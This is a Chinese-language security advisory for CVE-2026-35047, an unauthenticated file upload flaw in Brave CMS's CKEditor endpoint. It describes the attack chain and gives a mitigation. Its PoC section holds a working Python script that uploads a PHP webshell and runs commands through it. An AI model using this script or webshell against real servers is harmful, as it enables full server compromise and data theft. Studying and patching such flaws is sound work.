IPBUF安全漏洞报告
English
CVE-2026-35047 CVSS 9.8 严重

CVE-2026-35047: Brave CMS远程代码执行漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35047
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Brave CMS

相关标签

RCE文件上传BraveCMSCVE-2026-35047Web安全

漏洞概述

Brave CMS是一款开源内容管理系统。在2.0.6版本之前,其CKEditor端点存在无限制文件上传漏洞。攻击者可利用此缺陷上传任意文件,包括可执行脚本,从而在服务器上执行恶意代码。这可能导致系统完全被攻陷、敏感数据泄露或服务中断,所有运行受影响版本的用户均面临高风险。

技术细节

该漏洞源于Brave CMS集成的CKEditor组件在处理文件上传时,缺乏对文件类型及扩展名的严格校验。攻击者无需身份认证,即可向受影响端点发送特制的HTTP POST请求。通过构造包含恶意Web脚本(如PHP、ASPX等)的文件,攻击者可将其上传至Web服务器可访问的目录。一旦上传成功且该目录具有执行权限,攻击者仅需通过浏览器访问该文件URL,即可触发服务器端解析并执行代码,进而获取服务器权限。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用Brave CMS且版本低于2.0.6。
STEP 2
漏洞利用
攻击者构造包含恶意脚本(如PHP Webshell)的HTTP POST请求,发送至CKEditor的文件上传接口。
STEP 3
代码执行
服务器接收并保存文件,攻击者通过浏览器访问上传的文件URL,触发服务器端解析并执行恶意代码。
STEP 4
后续渗透
利用获取的Shell权限,进一步窃取数据、安装后门或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url): # The vulnerable endpoint might vary, adjust as needed upload_url = f"{target_url}/ckeditor/core/connector/php/connector.php?command=QuickUpload&type=Files" # Payload: A simple PHP webshell shell_content = "<?php system($_GET['cmd']); ?>" files = { 'upload': ('exploit.php', shell_content, 'application/octet-stream') } try: response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200 and "uploaded" in response.text.lower(): print("[+] Upload likely successful.") print(f"[+] Check your shell at: {target_url}/userfiles/exploit.php?cmd=whoami") else: print("[-] Upload failed or response unexpected.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://vulnerable-site.com" exploit(target)

影响范围

BraveCMS < 2.0.6

防御指南

临时缓解措施
如无法立即升级,建议临时禁用CKEditor的文件上传功能,或通过配置Web服务器(如Nginx、Apache)拒绝解析上传目录中的动态脚本文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表